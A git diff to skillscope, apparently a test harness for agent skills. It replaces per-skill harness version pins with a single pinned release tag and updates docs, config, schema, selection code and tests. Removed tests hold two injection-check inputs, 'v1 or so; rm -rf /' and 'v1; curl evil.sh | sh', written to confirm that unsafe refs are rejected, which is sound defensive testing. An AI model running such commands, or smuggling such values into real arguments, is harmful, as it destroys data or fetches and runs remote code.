+281,7 @@ pays for. ```yaml jobs: skill-evals: - uses: amd/skillscope/.github/workflows/skill-evals.yml@main + uses: amd/skillscope/.github/workflows/skill-evals.yml@v0.1.1 secrets: inherit with: routing_room: my-skill,its-neighbour @@ -296,7 +296,7 @@ workflow file documents every one. To run a single command instead of a pipeline, use the action directly: ```yaml -- uses: amd/skillscope@main +- uses: amd/skillscope@v0.1.1 with: command: structural ``` @@ -310,21 +310,35 @@ git diff --name-only main HEAD | skillscope select --changed ## Versions and pinning -The action's ref is a contract, not a release: it only resolves a version and -execs it, and it imports nothing from the harness, so it cannot break on a -payload version it predates. The version that actually grades your skills is -data: +The ref you pin is the version you get. There is no second setting, and nothing +to work out at run time: -| Where | Scope | -| --- | --- | -| the `version` input on the action or workflow | the repo, and everything that is not one skill's behavioral run | -| `skillscope_version` in a skill's `evals/evals.json` | that skill's behavioral run, overriding the input | - -Both are one-line diffs a reviewer can see, which a `uses:` ref spread across -every caller is not. How a skill sets the dataset pin is in -[authoring-evals.md](authoring-evals.md#pinning-the-harness). Routing always -runs at the workflow's version: it installs several skills in one session and -so cannot honor several pins at once. +```yaml +uses: amd/skillscope/.github/workflows/reusable.yml@v0.1.1 # runs skillscope v0.1.1 +``` + +That holds because the tag ships both halves. `reusable.yml@v0.1.1` is the +workflow from that release, every step in it references `amd/skillscope@v0.1.1`, +and the action installs the harness out of the checkout Actions downloaded to +run it — not from a version named in some other file. So the workflow and the +harness only ever move together, and nothing in your repo can quietly select a +third answer. + +Every job logs which build ran and the step summary repeats it, so you can check +rather than assume. + +`version` is the one input that breaks the pair, for a caller who wants to know +whether the next release holds before pinning it: + +```yaml + with: + version: main # or a tag, or a commit +``` + +That is the only case where the harness is fetched over the network. Leave it +blank and the answer cannot drift from the ref you pinned. + +Upgrading is that one line. A skill's dataset holds prompts, not a version. ## Hand tools diff --git a/examples/amd-skills-checks.yml b/examples/amd-skills-checks.yml index 8071567..f9e4534 100644 --- a/examples/amd-skills-checks.yml +++ b/examples/amd-skills-checks.yml @@ -21,7 +21,7 @@ permissions: jobs: evals: name: AMD Skills Checks - uses: amd/skillscope/.github/workflows/reusable.yml@main + uses: amd/skillscope/.github/workflows/reusable.yml@v0.1.1 secrets: api_key: ${{ secrets.ANTHROPIC_API_KEY }} with: diff --git a/pyproject.toml b/pyproject.toml index 3a74683..8a2ec72 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -8,7 +8,7 @@ build-backend = "setuptools.build_meta" [project] name = "skillscope" -version = "0.1.0" +version = "0.1.1" description = "Routing and behavioral test harness for agent skills." readme = "README.md" requires-python = ">=3.10" diff --git a/skillscope/__init__.py b/skillscope/__init__.py index f162597..c5bcc4c 100644 --- a/skillscope/__init__.py +++ b/skillscope/__init__.py @@ -15,4 +15,8 @@ __all__ = ["__version__"] -__version__ = "0.1.0" +# Released as the tag `v` + this, and the workflows in this repo reference the +# action at that tag so a caller who pins one gets the other. The suite checks +# all three agree, because a release where they do not is a caller running a +# harness they did not ask for. +__version__ = "0.1.1" diff --git a/skillscope/cli.py b/skillscope/cli.py index c88c38d..251fdb2 100644 --- a/skillscope/cli.py +++ b/skillscope/cli.py @@ -779,7 +779,7 @@ def build_parser() -> argparse.ArgumentParser: help=( "Files that change the harness rather than one skill; touching one " "re-runs every skill. The workflow that calls skillscope belongs " - "here: it holds the routing set and the version pin." + "here: it holds the routing set and the harness ref." ), ) select_parser.add_argument( @@ -830,15 +830,6 @@ def build_parser() -> argparse.ArgumentParser: "credentials are fixed before its matrix expands." ), ) - select_parser.add_argument( - "--version", - default=None, - metavar="REF", - help=( - "The build of skillscope this run is, echoed into the plan so every " - f"leg keeps using it. Default: ${config.VERSION_ENV}." - ), - ) select_parser.set_defaults(handler=cmd_select) list_parser = commands.add_parser( @@ -886,7 +877,6 @@ def _configure(args: argparse.Namespace) -> None: } settings["scoped_gate"] = getattr(args, "scoped_gate", "") or "" settings["scoped_environment"] = getattr(args, "scoped_environment", "") or "" - settings["version"] = getattr(args, "version", None) config.use(config.build(root, **settings)) if settings["routing_room"] is not None: diff --git a/skillscope/config.py b/skillscope/config.py index d5130d0..05385da 100644 --- a/skillscope/config.py +++ b/skillscope/config.py @@ -45,15 +45,11 @@ # The environment contract with the launcher, checked before anything is # inferred. `SKILLSCOPE_REPO` points at the repo under test (CI runs from its -# checkout, so this is rarely needed). `SKILLSCOPE_VERSION` is the build of the -# harness that is running, so a plan can tell CI to keep using it. -# -# `SKILLSCOPE_SKILLS` is where the skills are, and it is an environment -# variable rather than only a flag because the launcher needs the same answer -# this does: it looks in a skill's dataset for the version pin before it has -# fetched the harness that could parse a flag. `--skills-dir` still wins. +# checkout, so this is rarely needed). `SKILLSCOPE_SKILLS` is where the skills +# are, as an environment variable rather than only a flag: a workflow says it +# once as an action input and every command in the run sees it, instead of each +# one composing the same `--skills-dir` into its arguments. The flag still wins. REPO_ENV = "SKILLSCOPE_REPO" -VERSION_ENV = "SKILLSCOPE_VERSION" SKILLS_ENV = "SKILLSCOPE_SKILLS" # Every directory in the one the command was run from, and no deeper. See @@ -128,10 +124,6 @@ class Config: scoped_gate: str = "" scoped_environment: str = "" - # The build of the harness this run is. Echoed into a CI plan so every leg - # keeps using it unless the skill's own dataset pins another. - version: str = "" - @property def skills(self) -> dict[str, Path]: """Every skill this repo declares, as ``{name: folder}``. @@ -310,7 +302,6 @@ def build( scoped_runner: object = None, scoped_gate: str = "", scoped_environment: str = "", - version: str | None = None, dataset_skills: list[str] | None = None, ) -> Config: """A Config from loose values: what the CLI hands over after parsing. @@ -357,9 +348,6 @@ def build( scoped_runner=_items(scoped_runner, "--scoped-runner"), scoped_gate=(scoped_gate or "").strip(), scoped_environment=(scoped_environment or "").strip(), - version=( - version if version is not None else os.environ.get(VERSION_ENV, "") - ).strip(), ) diff --git a/skillscope/datasets.py b/skillscope/datasets.py index b399cc9..17a75b8 100644 --- a/skillscope/datasets.py +++ b/skillscope/datasets.py @@ -66,7 +66,6 @@ from __future__ import annotations import json -import re from collections import Counter from dataclasses import dataclass, field from pathlib import Path @@ -103,16 +102,6 @@ EVALUATIONS_KEY = "evaluations" TRIGGER_KEY = "skill_should_trigger" -# Which build of this harness grades the skill. Optional, and a skill owner's -# call: pinning it here means the version that runs a dataset is bumped in the -# same file, and the same review, as the prompts it runs. See `pinned_version`. -VERSION_KEY = "skillscope_version" - -# Anything git can resolve: a tag, a branch, a commit. Checked only for shape, -# because whether the ref exists is the launcher's problem and saying so twice -# would mean two places to fix when a ref format changes. -_REF_PATTERN = re.compile(r"^[A-Za-z0-9][A-Za-z0-9._/+-]*$") - # `additionalProperties: false`, by hand. A mistyped key would otherwise be # silently dropped, quietly turning an expectation into no expectation at all. # @@ -134,7 +123,7 @@ } NO_TRIGGER_CASE_KEYS = {"id", "prompt", TRIGGER_KEY, "note"} -DATASET_KEYS = {EVALUATIONS_KEY, VERSION_KEY, "comment"} +DATASET_KEYS = {EVALUATIONS_KEY, "comment"} # JSON has no comments, so `note` is the sanctioned place for one. The runner # ignores it; without it owners annotate fields that are not free text. @@ -344,25 +333,6 @@ def _parse_case( ) -def _parse_version(payload: dict, where: str, errors: list[str]) -> str: - """The harness version this dataset pins, or "" when it pins none.""" - value = payload.get(VERSION_KEY, "") - if not isinstance(value, str): - errors.append( - f"{where}: `{VERSION_KEY}` must be a string naming a skillscope " - "tag, branch, or commit." - ) - return "" - value = value.strip() - if value and not _REF_PATTERN.match(value): - errors.append( - f"{where}: `{VERSION_KEY}` is {value!r}, which is not a usable git " - "ref. Use a tag (`v1.2.0`), a branch, or a commit." - ) - return "" - return value - - def _parse_cases( payload: object, skill: str | None, @@ -381,8 +351,6 @@ def _parse_cases( if unknown: errors.append(f"{where}: unknown top-level key(s): {', '.join(unknown)}.") - _parse_version(payload, where, errors) - raw = payload.get(EVALUATIONS_KEY) if not isinstance(raw, list) or not raw: errors.append(f"{where}: `{EVALUATIONS_KEY}` must be a non-empty array.") @@ -437,41 +405,6 @@ def load_dataset( return cases -def dataset_version(skill: str) -> str: - """The harness version pinned in `skill`'s dataset, or "" when unpinned. - - Read straight from the file rather than carried on every Case: it is a - property of the dataset, not of a prompt, and the caller that needs it (CI - planning) has no cases in hand yet. - """ - path = dataset_path(skill) - if not path.is_file(): - return "" - try: - payload = json.loads(path.read_text(encoding="utf-8")) - except json.JSONDecodeError: - return "" - if not isinstance(payload, dict): - return "" - return _parse_version(payload, path.name, []) - - -def pinned_version(skill: str | None = None) -> str: - """Which build of the harness should grade `skill`. - - A skill's own dataset wins, because the owner who writes the prompts is - the one who knows which harness they were written against. Falling back to - the version this run is already using covers everything that is not one - skill's run -- including routing, which installs several skills in one - session and so cannot honor several pins at once. - """ - if skill is not None: - pin = dataset_version(skill) - if pin: - return pin - return config.active().version - - def load_shared_negatives(errors: list[str] | None = None) -> list[Case]: """The repo-wide `unrelated` control group.""" collected: list[str] = [] if errors is None else errors diff --git a/skillscope/schema/evals.schema.json b/skillscope/schema/evals.schema.json index 5a52298..d8210bd 100644 --- a/skillscope/schema/evals.schema.json +++ b/skillscope/schema/evals.schema.json @@ -14,11 +14,6 @@ { "type": "array", "items": { "type": "string" } } ] }, - "skillscope_version": { - "type": "string", - "minLength": 1, - "description": "Which build of skillscope grades this dataset: a tag, a branch, or a commit. Optional, and the skill owner's call -- pinning it here means the harness version that runs these prompts is bumped in the same file, and the same review, as the prompts themselves. It governs this skill's behavioral run. Routing installs several skills in one session and so cannot honor several pins at once; it runs at whatever version CI launched, which is also the fallback when this key is absent." - }, "evaluations": { "type": "array", "minItems": 1, diff --git a/skillscope/select.py b/skillscope/select.py index 266dde5..b1f824d 100644 --- a/skillscope/select.py +++ b/skillscope/select.py @@ -10,17 +10,15 @@ { "routing": true, "extended": false, - "version": "v1.2.0", "default": [ {"skill": "local-ai-use", "os": "Linux", "runner": "[\\"self-hosted\\",\\"strix_halo\\",\\"Linux\\"]", - "gate": "", "version": "v1.2.0"} + "gate": ""} ], "scoped": [ {"skill": "serving-llms-on-instinct", "os": "Linux", "runner": "[\\"self-hosted\\",\\"mi300x\\",\\"Linux\\"]", - "environment": "behavioral-instinct", "gate": "enable_mi_ci", - "version": "v1.2.0"} + "environment": "behavioral-instinct", "gate": "enable_mi_ci"} ], "skipped": [{"skill": "serving-llms-on-instinct", "gate": "enable_mi_ci"}], "gates": ["enable_mi_ci"] @@ -41,11 +39,6 @@ its matrix expands. A repo that declares no scoped environment gets one matrix, labels and all. -``version`` is which build of the harness grades the leg, so a skill can pin -the harness in its own dataset and have CI honor it (see -``datasets.pinned_version``). The top-level one covers everything that is not -one skill's behavioral run. - ``extended`` echoes back whether the optional ``evals/extended_evals.json`` datasets are in play, so the workflow decides that once and every job reads the same answer. It has to match what the runner is passed: selecting a skill whose @@ -77,8 +70,8 @@ def infra_paths() -> set[str]: Touching one re-runs everything rather than guessing at the blast radius. The workflow names them with ``--infra-paths``, and the workflow file - itself is the usual entry: it now holds the harness pin and the routing - set, so a change to it can move any result. + itself is the usual entry: it holds the routing set and the harness ref, so + a change to it can move any result. """ return set(config.active().infra_paths) @@ -147,9 +140,6 @@ def matrix_entries( "os": os_name, "runner": json.dumps(runs_on(plan, os_name)), "gate": gate, - # Per leg, because a skill owner pins the harness in the same - # file as the prompts it grades. - "version": datasets.pinned_version(skill), } if scoped and cfg.scoped_environment: leg["environment"] = cfg.scoped_environment @@ -220,10 +210,6 @@ def plan( return { "routing": routing and bool(config.active().routing_room), "extended": extended, - # Routing installs several skills in one session, so it runs at the - # version this run is already using; a per-skill pin governs that - # skill's behavioral leg. - "version": datasets.pinned_version(), "default": [leg for leg in include if "environment" not in leg], "scoped": [leg for leg in include if "environment" in leg], "skipped": skipped, diff --git a/tests/test_skillscope.py b/tests/test_skillscope.py index 3afb294..00f4a3b 100644 --- a/tests/test_skillscope.py +++ b/tests/test_skillscope.py @@ -14,6 +14,10 @@ Third, hold the harness to being repo-agnostic, which is the whole reason it lives in its own repo: every test that needs a repo builds a throwaway one in a temp directory rather than reading whatever happens to be checked out here. + +`TestTheReleaseRefsAgree` is the one exception to that last rule, and reads this +checkout on purpose: what it checks is a fact about this repository's own +release, which no throwaway repo could have. """ from __future__ import annotations @@ -23,6 +27,7 @@ import io import json import os +import re import tempfile import time import unittest @@ -30,6 +35,7 @@ from pathlib import Path from unittest import mock +import skillscope from skillscope import ( agent, behavior, @@ -42,13 +48,13 @@ structure, ) from skillscope import select as select_module -from skillscope.datasets import EVALUATIONS_KEY, TRIGGER_KEY, VERSION_KEY +from skillscope.datasets import EVALUATIONS_KEY, TRIGGER_KEY SCHEMA_DIR = datasets.PACKAGE_DIR / "schema" TRIGGERING = "triggeringEvaluation" NON_TRIGGERING = "nonTriggeringEvaluation" -BOOTSTRAP = Path(__file__).resolve().parent.parent / "bootstrap" / "resolve_version.py" +REPO_ROOT = Path(__file__).resolve().parent.parent def parse( @@ -182,11 +188,6 @@ def defs(self, name: str) -> dict: def test_top_level_properties_match_parser(self) -> None: self.assertEqual(set(self.schema["properties"]), datasets.DATASET_KEYS) - def test_the_harness_version_pin_is_documented(self) -> None: - # It is the one field that changes which code grades a dataset, so an - # undocumented one would be invisible to the owners who set it. - self.assertIn(VERSION_KEY, self.schema["properties"]) - def test_triggering_properties_match_parser(self) -> None: self.assertEqual( set(self.defs(TRIGGERING)["properties"]), datasets.TRIGGER_CASE_KEYS @@ -445,12 +446,6 @@ def test_the_skill_globs_can_come_from_the_environment(self) -> None: ("skills/*",), ) - def test_the_version_comes_from_the_environment_when_unset(self) -> None: - repo = Repo(self) - with mock.patch.dict(os.environ, {config.VERSION_ENV: "v9.9.9"}): - self.assertEqual(config.build(repo.root).version, "v9.9.9") - self.assertEqual(config.build(repo.root, version="").version, "") - class TestRoutingSet(unittest.TestCase): """Who a skill competes against is listed, never inferred.""" @@ -695,114 +690,59 @@ def test_an_expired_deadline_does_not_start_a_behavioral_case(self) -> None: self.assertIn("behavioral exceeded --timeout", outcome.error) -class TestHarnessVersionPin(unittest.TestCase): - """Which build of the harness grades a dataset is data, in a reviewable diff.""" - - def setUp(self) -> None: - self.repo = Repo(self) - self.repo.skill("pinned-skill", dataset=tier0_dataset("pinned", skillscope_version="v1.2.0")) - self.repo.skill("unpinned-skill", dataset=tier0_dataset("unpinned")) - self.repo.activate(version="v1.0.0") - - def test_a_dataset_pin_wins_for_that_skill(self) -> None: - self.assertEqual(datasets.pinned_version("pinned-skill"), "v1.2.0") - - def test_an_unpinned_skill_falls_back_to_the_running_version(self) -> None: - self.assertEqual(datasets.pinned_version("unpinned-skill"), "v1.0.0") - - def test_routing_uses_the_running_version(self) -> None: - # Routing installs several skills in one session, so it cannot honor - # several per-skill pins at once. - self.assertEqual(datasets.pinned_version(), "v1.0.0") - - def test_the_pin_is_not_mistaken_for_an_evaluation_key(self) -> None: - cases, errors = parse(tier0_dataset("demo", skillscope_version="main")) - self.assertEqual(errors, []) - self.assertEqual(len(cases), 5) - - def test_a_pin_that_is_not_a_git_ref_is_rejected(self) -> None: - _, errors = parse(tier0_dataset("demo", skillscope_version="v1 or so; rm -rf /")) - self.assertTrue(any(VERSION_KEY in e for e in errors), errors) - - def test_a_non_string_pin_is_rejected(self) -> None: - _, errors = parse(tier0_dataset("demo", skillscope_version=1.2)) - self.assertTrue(any(VERSION_KEY in e for e in errors), errors) - - def test_select_emits_the_version_per_leg(self) -> None: - self.repo.skill( - "behaving-skill", - dataset=tier0_dataset( - "behaving", - skillscope_version="v3.0.0", - ) - | { - EVALUATIONS_KEY: tier0_dataset("behaving")[EVALUATIONS_KEY] - + [ - { - "id": "behaving-graded", - TRIGGER_KEY: True, - "prompt": "do the thing", - "logs_contain": ["thing.py"], - } - ] - }, - ) - plan = select_module.plan(["behaving-skill"], routing=True, labels=set()) - self.assertEqual(plan["version"], "v1.0.0") - self.assertEqual([leg["version"] for leg in plan["default"]], ["v3.0.0"]) - - -class TestBootstrapResolver(unittest.TestCase): - """The launcher reads the pin without importing the harness it launches.""" - - def setUp(self) -> None: - import importlib.util - - spec = importlib.util.spec_from_file_location("resolve_version", BOOTSTRAP) - self.module = importlib.util.module_from_spec(spec) - spec.loader.exec_module(self.module) - self.repo = Repo(self) - self.repo.skill("demo-skill", dataset=tier0_dataset("demo", skillscope_version="v2.0.0")) - - def resolve(self, **kwargs) -> str: - return self.module.resolve(root=self.repo.root, **kwargs) - - def test_an_explicit_version_wins(self) -> None: - self.assertEqual(self.resolve(requested="v9", env="v8", skill="demo-skill"), "v9") - - def test_the_environment_comes_next(self) -> None: - self.assertEqual(self.resolve(requested="", env="v8", skill="demo-skill"), "v8") - - def test_then_the_skill_that_is_being_run(self) -> None: - self.assertEqual(self.resolve(requested="", env="", skill="demo-skill"), "v2.0.0") +class TestTheReleaseRefsAgree(unittest.TestCase): + """A caller who pins a tag gets that tag's harness, or these fail. - def test_a_repo_that_pins_nothing_falls_back_to_the_launcher_ref(self) -> None: - empty = Repo(self) - self.assertEqual( - self.module.resolve(root=empty.root, requested="", env="", skill="", default="bootstrap"), - "bootstrap", - ) - - def test_with_no_pin_and_no_default_it_says_so(self) -> None: - empty = Repo(self) - with self.assertRaises(SystemExit) as caught: - self.module.resolve(root=empty.root, requested="", env="", skill="", default="") - self.assertIn("version", str(caught.exception)) + `uses: amd/skillscope@vX.Y.Z` is the whole of the version story: Actions + downloads this repository at that ref to run the action, and the action + installs the harness out of the checkout it lands in. So there is nothing to + resolve and nothing that can disagree -- as long as the ref is right. - def test_it_finds_a_skill_under_the_globs_it_is_given(self) -> None: - repo = Repo(self) - repo.skill("odd-place", dataset=tier0_dataset("odd", skillscope_version="v4"), where="agents") - self.assertEqual( - self.module.resolve( - root=repo.root, requested="", env="", skill="odd-place", globs=["agents/*"] - ), - "v4", - ) + A step's `uses:` cannot be an expression, so that ref is a literal in every + workflow and every example here, and a literal left behind at release time + is a caller quietly graded by a harness they did not ask for. Nothing about + a run would look wrong. These tests are what makes it impossible: the + version, the refs, and the packaging metadata are bumped together or the + suite says which one was missed. + """ - def test_a_ref_that_could_be_a_shell_injection_is_refused(self) -> None: - # The result is interpolated into a `uvx --from git+...@REF` command. - with self.assertRaises(SystemExit): - self.resolve(requested="v1; curl evil.sh | sh", env="", skill="") + # Files a caller reads or calls, so the ref in each is a promise about which + # harness they get. Prose that merely mentions a ref does not match: the + # pattern wants the `uses:` that actually resolves one. + SOURCES = (".github/workflows/*.yml", "examples/*.yml", "README.md", "docs/*.md") + REF = re.compile(r"uses:\s*amd/skillscope(?:/\S+?)?@(\S+)") + + def refs(self) -> dict[str, list[str]]: + found: dict[str, list[str]] = {} + for pattern in self.SOURCES: + for path in sorted(REPO_ROOT.glob(pattern)): + matches = self.REF.findall(path.read_text(encoding="utf-8")) + if matches: + found[path.relative_to(REPO_ROOT).as_posix()] = matches + return found + + def test_the_packaged_version_matches_the_module(self) -> None: + declared = re.search( + r'(?m)^version\s*=\s*"([^"]+)"', + (REPO_ROOT / "pyproject.toml").read_text(encoding="utf-8"), + ) + self.assertIsNotNone(declared, "pyproject.toml declares no version") + self.assertEqual(declared.group(1), skillscope.__version__) + + def test_every_reference_names_this_version(self) -> None: + expected = f"v{skillscope.__version__}" + for where, refs in self.refs().items(): + for ref in refs: + with self.subTest(where=where, ref=ref): + self.assertEqual(ref, expected) + + def test_the_workflows_a_caller_pins_do_reference_it(self) -> None: + # Without this, deleting every reference would pass the test above by + # having nothing left to disagree with. + found = self.refs() + for name in ("reusable.yml", "skill-evals.yml"): + with self.subTest(name): + self.assertIn(f".github/workflows/{name}", found) class TestSelection(unittest.TestCase): @@ -847,7 +787,7 @@ def test_a_touched_skill_is_selected(self) -> None: ) def test_an_infra_path_selects_everything(self) -> None: - # The workflow holds the routing set and the version pin, so a change + # The workflow holds the routing set and the harness ref, so a change # to it can move any result. self.assertEqual( select_module.select_from_changes({".github/workflows/evals.yml"}), diff --git a/tools/verify_selection_parity.py b/tools/verify_selection_parity.py index 48b9ee8..c47b16b 100644 --- a/tools/verify_selection_parity.py +++ b/tools/verify_selection_parity.py @@ -8,7 +8,7 @@ every input comes from: skills globs, runner labels, infra paths, and the routing set are now flags the caller's workflow passes. The output is supposed to be unchanged. This runs both planners over the same sample diffs and prints -any difference, ignoring the per-leg `version` that only the new one emits. +any difference. git -C /path/to/amd-skills worktree add --detach /tmp/pre-split python tools/verify_selection_parity.py /tmp/pre-split /path/to/amd-skills @@ -72,8 +72,8 @@ # Cases where the plans are supposed to differ, and why. EXPECTED_DIFFERENCES = { "the harness itself (gone from this repo)": ( - "eval/** used to be an infra path; the harness is a version pin now, " - "so touching a file that no longer exists selects nothing." + "eval/** used to be an infra path; the harness is a ref in the workflow " + "now, so touching a file that no longer exists selects nothing." ), "the marketplace bundle": ( "publishing a skill used to change what routing installed. The routing " @@ -84,16 +84,6 @@ LABEL_SETS = ["", "enable_mi_ci"] -def normalize(plan: dict) -> dict: - """Drop what only the new implementation emits.""" - plan = json.loads(json.dumps(plan)) - plan.pop("version", None) - for key in ("default", "scoped"): - for leg in plan.get(key, []): - leg.pop("version", None) - return plan - - def run(cmd: list[str], cwd: Path, changed: list[str]) -> dict: proc = subprocess.run( cmd, @@ -116,38 +106,34 @@ def main(argv: list[str]) -> int: differences = 0 for name, changed in SAMPLES.items(): for labels in LABEL_SETS: - old = normalize( - run( - [ - sys.executable, - ".github/scripts/select_evals.py", - "--changed", - "--labels", - labels, - "--no-extended", - ], - old_root, - changed, - ) + old = run( + [ + sys.executable, + ".github/scripts/select_evals.py", + "--changed", + "--labels", + labels, + "--no-extended", + ], + old_root, + changed, ) - new = normalize( - run( - [ - sys.executable, - "-m", - "skillscope", - "--repo", - str(new_root), - "select", - "--changed", - "--labels", - labels, - "--no-extended", - *SETTINGS, - ], - new_root / "skillscope", - changed, - ) + new = run( + [ + sys.executable, + "-m", + "skillscope", + "--repo", + str(new_root), + "select", + "--changed", + "--labels", + labels, + "--no-extended", + *SETTINGS, + ], + new_root / "skillscope", + changed, ) if old == new: print(f"[same] {name} (labels: {labels or 'none'})")